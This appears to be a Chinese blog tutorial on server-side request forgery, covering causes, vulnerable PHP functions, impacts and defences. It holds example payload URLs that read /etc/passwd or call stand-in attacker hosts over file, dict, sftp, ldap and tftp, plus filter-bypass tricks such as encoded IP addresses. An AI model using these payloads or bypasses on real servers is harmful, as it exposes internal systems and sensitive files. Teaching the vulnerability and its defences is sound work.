SSRF漏洞原理与防御

一、SSRF简介

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

二、SSRF漏洞原理

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。、

用户不可访问服务器B,但可以访问服务器A,且服务器A可以向服务器B发起请求,用户就可以通过服务器A向服务器B发起请求。

比如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。利用的是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器

三、SSRF漏洞挖掘

1、通过URL地址分享网页内容
2、转码服务
3、在线翻译
4、能够对外发起网络请求的地方,就可能存在SSRF漏洞。

四、产生SSRF漏洞的函数

curl_exec()
用于发送HTTP请求,如果没有对用户输入进行过滤,攻击者可以通过构造恶意URL来实现SSRF攻击。

file_get_contents()
用于读取文件内容,如果没有对用户输入进行过滤,攻击者可以通过构造file://伪协议来读取敏感文件,如/etc/passwd等。

get_headers()和fsockopen()
用于获取HTTP响应头信息,如果没有对用户输入进行过滤,攻击者可以通过构造恶意URL来获取敏感信息,如服务器版本、目录结构等。

imagecreatefromjpeg()imagecreatefrompng()
这些函数用于处理图片文件,如果没有对用户上传的图片进行过滤,攻击者可以通过构造特定的图片文件来实现SSRF攻击。

simplexml_load_file()xmlrpc_decode()
这些函数用于处理XML数据,如果没有对用户输入进行过滤,攻击者可以通过构造特定的XML数据来实现SSRF攻击。

五、SSRF中的伪协议

1、file
该伪协议用于读取本地文件系统中的文件。攻击者可以通过构造file://协议来读取服务器上的敏感文件,如

http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini

2、dict
该伪协议用于查询字典。攻击者可以通过构造dict://协议来发送恶意请求,如执行任意命令、读取敏感文件等。可以构造dict://example.com:8888/ 来探测目标8888端口是否开放

http://example.com/ssrf.php?dict://attacker.com:8888/

3、sftp
在这里,Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。

http://example.com/ssrf.php?url=sftp://evil.com:1337/

4、ldap://或ldaps:// 或ldapi://
LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。

http://example.com/ssrf.php?url=ldap://attacker.com:1337/%0astats%0aquit
攻击者可以将服务器的LDAP请求重定向到attacker.com主机上的恶意LDAP服务器,从而可能导致信息泄露、远程代码执行等安全问题。

5、tftp://
TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。

tftp://attacker.com/file.txt
攻击者可以将服务器的TFTP请求重定向到attacker.com主机上的恶意TFTP服务器,从而可能导致文件泄露、远程代码执行等安全问题。

6、gopher://
Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。

六、SSRF漏洞危害

1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;

2.攻击运行在内网或本地的应用程序(比如溢出);

3.对内网web应用进行指纹识别,通过访问默认文件实现;

4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);

5.利用file协议读取本地文件等。.

6.各个协议调用探针:http,file,dict,ftp,gopher等

七、SSRF绕过方式

1、限制为http://www.xxx.com 域名时(利用@)

可以尝试采用http基本身份认证的方式绕过
http://[email protected]

2.采用短网址绕过

可以将受限制的目标地址转换为一个短网址,并将该短网址作为攻击载荷发送给目标服务器。当服务器解析短网址时,它会重定向到真实的目标地址,从而绕过对目标地址的限制
比百度短网址https://dwz.cn/

3.采用进制转换

127.0.0.1
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433

4.利用句号

127。0。0。1 >>> 127.0.0.1

八、SSRF漏防御

1、过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
2、统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
3、限制请求的端口为http常用的端口,比如,80,443,8080,8090。
4、黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
5、禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。
6、禁止不常用的协议,仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp://等引起的问题。
7、使用DNS缓存或者Host白名单的方式。

你可能感兴趣的:(web漏洞,web安全,网络安全)